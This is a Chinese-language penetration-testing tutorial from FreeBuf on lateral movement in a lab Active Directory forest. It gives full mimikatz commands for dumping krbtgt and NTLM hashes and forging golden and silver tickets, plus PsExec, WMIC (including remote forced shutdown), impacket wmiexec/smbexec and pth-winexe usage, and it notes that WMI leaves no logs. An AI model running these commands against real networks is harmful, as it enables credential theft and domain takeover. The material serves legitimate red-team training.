freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试之地基内网篇:域森林中横向移动(下)
2021-04-20 23:47:17

系列文章

专辑:渗透测试之地基篇

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

渗透测试人员需谨记《网络安全法》,根据《网络安全法》所示,未经授权的渗透测试都是不合法的,不管是出于何种目的。红队渗透人员在进行渗透期间,渗透测试的行为和项目必须在被渗透方授予权限可渗透后,才可进行渗透测试操作。

如今有一家dayu公司,需要对自己的业务以及整体的内网框架体系进行隐患挖掘,授予权限我进行对dayu公司的渗透测试操作,在签署了双方的《渗透测试授权书》后,我开始了对dayu公司的渗透之旅。

跳开思维讲,我此篇内容是内网渗透篇章,通过我的专栏:

社工钓鱼 -> 免杀过全杀软 -> 内网渗透

那么我通过了社工钓鱼的各种方式,将钓鱼文件进行免杀后,成功钓鱼到了该公司外围人员计算机,并控制了该计算机权限获得shell,并成功登录对方电脑。

通过前期对域用户大量的信息收集,画出了相对应的简单网络拓扑图,下一步需要进攻子域控制器,思路如下:

域普通用户 -> 子域控制器 -> 父域控制器 ->辅域控制器

通过该思路进攻即可,还有另外一条思路:

域普通用户 -> 10.10.21.0/24二级区域 -> 父子域控制器 -> 横向延伸

渗透人员最爱系统之一有kali,还有各类windows集成的武器库系统,通过上期隐藏通信隧道技术已经在内网域森林中建立了一级隧道,并在上期权限提升中将普通用户权限提升为system最高权限后,今天我们就来对域森林进行横向移动,总结实战中会遇到的横向移动各种方法,利用这些方法在内网中遨游!

不会内网横向移动技术,就无法对内网机器进行进一步的渗透!!

二、环境介绍

目前信息收集获得的网络情况:(模拟环境)
拓扑图简介

1619445899_6086c88be016b75fe72fc.png!small?1619445900955

为了更好的演示接下来的渗透和回看总拓扑图公司搭建环境情况:

单篇:渗透测试之地基内网篇:域森林中父子域和辅域用户搭建分析

接下来将演示分析内网中的横向移动各种方法,利用该方法在域森林中旅行!

三、黄金票据横向移动

1、黄金票据简介

在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。

所需条件:

1. 需要伪造的域管理员用户名
2. 完整的域名
3. 域SID
4. krbtgt的NTLM Hash

2、票据条件信息收集

伪造凭据提升域内普通用户的权限,我们现在以一个本地administrator权限用户登录域内的一个主机中!

1)判断无票据

1619453421_6086e5ed192f8caf45d40.png!small?1619453421434

klist purge    #windows命令行下清除票据

目前是无票据状态!

2)获取域名信息

1619453433_6086e5f9d96bb0fb2cf06.png!small?1619453434246

net config workstation

可知域名为:dayu和其他信息。

3)获取主机名

1619453443_6086e6038d42a230756eb.png!small?1619453444021

nltest /dsgetdc:域名

可知DC主机名为:dayu1,通过上期方法上传mimikatz,以管理员权限运行CMD,再去执行mimikatz:

3、获取krbtgt信息

1)导出用户krbtgt的hash

1619453450_6086e60abdc5489b83542.png!small?1619453451190

mimikatz.exe
privilege::debug
lsadump::dcsync /domain:xiyou.dayu.com /all /csv

成功获取krbtgt的hash值为:

39601ebdad1d3e960ed3712398d3ab3a

2)查看域中所有SID

两种方法可以看到krbtgt用户的SID!

1619453464_6086e618515c54e78e3b6.png!small?1619453464811

lsadump::dcsync /domain:xiyou.dayu.com /user:krbtgt
wmic useraccount get name,sid

成功获取krbtgt的SID值,可以开始进行票据攻击了!

4、黄金票据攻击

利用mimikatz生成金票生成.kirbi文件并保存!

1619453476_6086e62467837750ab4a8.png!small?1619453483201

mimikatz.exe "kerberos::golden /admin:systest /domain:xiyou.dayu.com /sid:S-1-5-21-1816246241-4074331134-2257350442 /krbtgt:39601ebdad1d3e960ed3712398d3ab3a /ticket:ticket.kirbi" exit

/admin:伪造的用户名(任意)
/domain:域名称
/sid:SID值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称    //不是写入内存中的命令!

可看到通过前期的条件获取,成功在普通域用户上创建了ticket.kirbi黄金票据,接下来进行使用票据!

5、使用黄金票据

我们可以ticket.kirbi保存起来,任何情况下都可以通过该票据进行登录到域控制器,那么怎么使用呢,接下来将演示!

1)登录域内普通用户,通过mimikatz中的kerberos::ptt功能将ticket.kirbi导入内存中:

1619453482_6086e62a5ad76bc7ea809.png!small?1619453483202

kerberos::purge
kerberos::ptt ticket.kirbi

成功导入票据!

2)验证金票

1619453488_6086e6300391bd1967210.png!small?1619453488351

可看到成功导入金票!

1619453501_6086e63dc9ac8a9e09bdb.png!small?1619453504952

dir \\xiyou.xiyou.dayu.com\c$

命令执行成功!成功访问,直接通过上期技术建立计划任务即可!

四、白银票据横向移动

通过黄金票据伪造的TGT,获取到了子域控制器的任意时间段横向移动的方法后,还有另外一个技术叫白银票据。黄金票据是伪造TGT,那么白银票据就是伪造的ST了,在Kerberos认证的第三步,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key解密ST,从而获得Session Key。通过Session Key解密Authenticator3,进而验证对方的身份,验证成功就让Client访问server上的指定服务了。
所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。

1、白银票据条件

攻击者要利用白银票据进行票据传递攻击,需要掌握下面几个信息:

1. 域名
2. 域SID(test)
3. 目标服务器的FQDN
4. 可利用的服务
5. 服务账号的NTLM Hash
6. 要伪造的用户名

接下来我们将每个条件进行信息收集!

2、白银票据条件信息收集

我们现在以一个本地administrator用户登录域内的一个主机中!

1)获取域名

1619453503_6086e63f08e04a2e1fd90.png!small?1619453504953

net config workstation

可知域名为:xiyou.dayu.com!

2)获取主机名

1619453510_6086e6466c3df527ed1c9.png!small?1619453510893

nltest /dsgetdc:xiyou.dayu.com

可知DC主机名为:xiyou.xiyou.dayu.com,方便后期远控使用!

3)获取域SID

1619453515_6086e64b8fa8fc1e77f2c.png!small?1619453515984

whoami /all

成功获取域SID:S-1-5-21-1816246241-4074331134-2257350442

4)获取本机NTLM hash

上传mimikatz,以管理员权限运行CMD,再去执行mimikatz:

1619453525_6086e6556aa8f18cf5b73.png!small?1619453526560

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

f5369b5accc878d9eedfcde13578e2fc

3、白银票据攻击

1619453556_6086e67439be7c809ee45.png!small?1619453575861

kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<要伪造的用户名,任意填写> /ptt

kerberos::golden /domain:xiyou.dayu.com /sid:S-1-5-21-1816246241-4074331134-2257350442 /target:xiyou.xiyou.dayu.com /service:cifs /rc4:f5369b5accc878d9eedfcde13578e2fc /user:testw /ptt

1. /domain:域名
2. /sid:域的SID值
3. /target: 域控制器全称即FQDN
4. /service: 需要指定相关的服务名,此处为cifs
5. /rc4: 域控的计算机账户ntlm hash
6. /user: 要伪造的用户名,任意填写

成功通过信息收集获得的域名、域SID、服务账号的hash、随意的伪造用户等信息,伪造的服务默认选择了cifs,最后利用mimikatz进行了白银票据横向攻击,获得了白银票据并直接写入普通域用户票据中!

4、白银票据使用

1619453573_6086e685ce2a954735b82.png!small?1619453575861

dir \\xiyou.xiyou.dayu.com\c$

命令执行成功!成功访问子域控制器共享目录,直接通过上期技术建立计划任务即可!

通过黄金票据和白银票据,大家已经有两个票证在手了,将继续介绍如何在有IPC建立、哈希建立、票据建立后进一步横向操作的技术呢,接下来开始演示!

五、PsExec横向移动

PsExec是SysInternals套件中的一款功能强大的软件。起初PsExec主要用于大批量Windows主机的运维,在域环境下效果尤其好。但是,攻击者渐渐开始使用PsExec,通过命令行环境与目标机器进行连接,甚至控制目标机器,而不需要通过远程桌面协议RDP进行图形化控制,降低了恶意操作被管理员发现的可能性(因为PsExec是Windows提供的工具,所以杀毒软件将其列在白名单中)。PsExec可以在Windows Vista/NT 4.0/2000/XP/Server 2003/Server 2008/Server 2012/Server 2016(包括64位版本)上运行。

1、PsTools工具包

下载地址:

https://download.sysinternals.com/files/PSTools.zip

通过PsExec可以在远程计算机上执行命令,也可以将管理员权限提升到System权限以运行指定的程序。PsExec的基本原理是通过管道在远程目标机器上创建一个psexec服务,并在本地磁盘中生成一个名为“PSEXESVC”的进制文件,通过psexec服务运行命令,运行结束后删除服务。

2、PsExec横向(一)

需要获取目标操作系统的交互式Shell在建立了ipc$的情况下,执行如下命今,获取System权限的Shell。

1)建立IPC

1619453568_6086e6808e8d95bf829e0.png!small?1619453575860

net use \\10.10.3.6\ipc$ "QWEasd123" /user:xiyou1\administrator

2)PsExec控制

1619453610_6086e6aa7743f121585b2.png!small?1619453612375

PsExec64.exe \\10.10.3.6 cmd.exe

1619453621_6086e6b5d21cbbe77009a.png!small?1619453622616

通过点击Agree确认后,成功通过IPC管道在目标系统上创建一个psexec服务,成功控制目标系统!并查看到IP信息!

3)思路拓展操作

1619453626_6086e6bac6686233fd527.png!small?1619453627324

PsExec64.exe -accepteual \\10.10.3.6 -s cmd.exe
-accepteula: 第一次运行PsExec会弹出确认框,使用该参数就不会出现
-s: 以system权限运行远程进程,获得一个system权限的交互式shell,不使用此参数获得一个administrator的shell

使用该命令不会弹框确认!

3、PsExec横向(二)

如果没有建立ipc$的情况下,PsExec有两个参数可以通过指定账户和密码进行远程连接!

1619453634_6086e6c2b7dcc2b850d30.png!small?1619453635749

PsExec64.exe \\10.10.3.6 -u "xiyou1\administrator" -p QWEasd1234 -s cmd.exe
#-u 域\用户名 -p密码

无IPC管道前提下,PsExec横向也是支持用户名密码的!!

4、PsExec注意事项

在使用PsExec时,需要注意以下几点:

  1. 需更远程系统开启admin$共享(默认是开启的)

  2. 在使用ipc$连接目标系统后,不需要输人账号和密码。

  3. 在使用psexec执行远程命令时,会在目标系统中创建一个psexec服务。命令执行后,psexec服务将被自动删除。由于创建或删除服务时会产生大量的日志,可以在进行攻击溯源时通过日志反推攻击流程。

  4. 使用PsExec可以直接获得System权限的交互式Shell。

六、WMI横向攻击

WMI的全名为“ Windows Management Instrumentation"。从Windows 98开始,Windows系统都支持WMI。WMI是由一系列工具集组成的,可以在本地或者远程管理计算机系统。

自PsExec在内网中被严格监控后,越来越多的反病毒厂商将PsExec加入了黑名单,可以使用WMI进行横向移动。通过渗透测试发现,在使用wmi.exe进行横向移动时,Windows操作系统默认不会将WMI的操作记录在日志中。因为在这个过程中不会产生日志,所以对网络管理员来说增加了攻击溯源成本。而对攻击者来说,其被发观的可能性有所降低、隐救性有所提高。所以越来越多的APT使用WMI攻击...

WMIC不会留下痕迹,可以学一波!!

1、系统自带WMI横向

1)在远程计算上创建notepad.exe进程

wmic /node:10.10.3.6 /user:xiyou1\administrator /password:QWEasd1234 process call create "c:\windows\notepad.exe"

1619453649_6086e6d1cf18ecf7c5813.png!small?16194536506731619453661_6086e6dd639b3b3b85ed1.png!small

成功创建!

2)查询远程计算机上的进程列表

wmic /node:10.10.3.6 /user:xiyou1\administrator /password:QWEasd1234 process get name,executablepath,processid

1619453683_6086e6f3853a4d9c3831e.png!small?1619453684327

成功获得目标系统进程信息!

3)将获得到的远程计算机进程列表保存到本地

1619453674_6086e6eab1859a39ffcdf.png!small?1619453675273

wmic/output:c:\process.html /node:10.10.3.6 /user:xiyou1\administrator /password:QWEasd1234 process get processid,name,executablepath/format:dayu.xsl

命令是对的,但是本地没有安装excel,无法保存!

4)使用目标系统的cmd.exe执行条命令,将执行结果保存在C盘中:

wmic /node:10.10.3.6 /user:xiyou1\administrator /password:QWEasd1234 process call create "cmd.exe /c ipconfig > C:\ip.txt"

1619453698_6086e7020912e652a05c6.png!small?1619453703999

1619453702_6086e7069b3cfe726ea04.png!small?1619453704000

可看到成功创建ip.txt并保存了信息!

5)重启或关闭系统

重启远程计算机
wmic /node:10.10.3.6 /user:xiyou1\administrator /password:QWEasd1234 process call create "shutdown -r -f"
关闭远程计算机
wmic /node:10.10.3.6 /user:xiyou1\administrator /password:QWEasd1234 process call create "shutdown -s -f"

这里操作主要是在后期运行权限维持后,可以进行操作获得明文密码等!!

2、impacket工具包中的wmiexec

在Kali中下载并安装impacket工具包。输人命令后,获取目标shell,存在Windows版本和Linux版本,Linux版本方法主要在从Linux向Windows进行横向渗透测试时使用。

1)Linux版本

一般环境下是linux横向windows使用的,但是利用代理也能在kali上运行自如!这里我使用了FRP代理了流量出来,并在kali上使用proxychains进行全局代理成功!!

proxychains ./wmiexec.py asp.net:123456aa..@192.168.52.138

1619453728_6086e72033a6aa839f194.png!small?16194537335001619453726_6086e71e341b0149ae931.png!small?1619453733500

成功交互控制目标系统!

2)Windows版本

下载地址:

https://github.com/maaaaz/impacket-examples-windows
wmiexec.exe asp.net:123456aa..@192.168.52.138

1619453780_6086e75461b1f35ecab73.png!small?1619453792079

武器库在什么环境下就选择类型进行横向,windows横向windows环境也是没问题的!

3、Pth-winexe横向攻击

Pth-winexe是kali渗透系统自带的一个工具,可以进行横向PTH攻击!也支持全局代理横向渗透!非常好用!

pth-winexe -U testq%QWEasd123 --system --ostype=1 //10.10.3.6 cmd

1619453787_6086e75b966853258df83.png!small?1619453809573

可看到简单好用,直接通过多级代理控制对方域环境控制器系统!在本地kali上继续横向操作!!

4、拓展技巧

对于WMI、wmiexec、Pth-winexe都是横向攻击非常好的工具,那么还有那个也非常不错呢,在分享一个给大家!

smbexe可以通过文件共享(admins cs、ipes. d$)在远程系统中执行命令。

impacket工具包中的smbexec.py,kali自带smbexec.py:

cd /usr/share/doc/python3-impacket/examples
python3 smbexec.py asp.net:123456aa..\@192.168.52.138

1619453792_6086e7609a2008b42808c.png!small?16194538095741619453803_6086e76b6c00bc03e000b.png!small?1619453809575

可看到简单好用,直接通过多级代理控制对方域环境控制器系统!在本地kali上继续横向操作!!

七、总结

黄金票据 -> 白银票据 -> PsExec横向移动 -> WMI横向移动 -> wmiexec横向移动 -> Pth-wmiexec横向移动 -> smbexec横向移动...进行横向攻击思路后,层层连接建立横向思路进行攻击渗透,给小伙伴们建立了在提权模块后横向移动的多级思路!

如果不会这几种方法进行横向移动,就很难在内网中旅行,无法见到更多的风景,学习今天的方法,通过多种方法获取到哈希值进行哈希票据攻击获得目标系统权限,就可以在该公司域森林中遨游了!

公司域森林搭建 -> 域森林信息收集上 -> 域森林信息收集下 -> 域森林通信隧道建立上 -> 域森林通信隧道建立下 -> 域森林中权限提升上 -> 域森林中权限提升中 -> 域森林中权限提升下 -> 域森林中横向移动(上)-> 域森林中横向移动(中)-> 域森林中横向移动(下)-> 域森林中域控制安全(上)......

接下来在《域森林中域控制安全(上)》中会接触到对于防御方和系统底层存放密码的知识,如果利用各种方法获取系统底层的哈希密码信息的方式方法!如何建立内网渗透框架一步步攻击该公司内网环境的思路和方法,请看下篇域森林中域控制安全篇章!

希望大家提高安全意识,没有网络安全就没有国家安全!

今天基础牢固就到这里,虽然基础,但是必须牢记于心。

# 横向移动 # 域森林
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录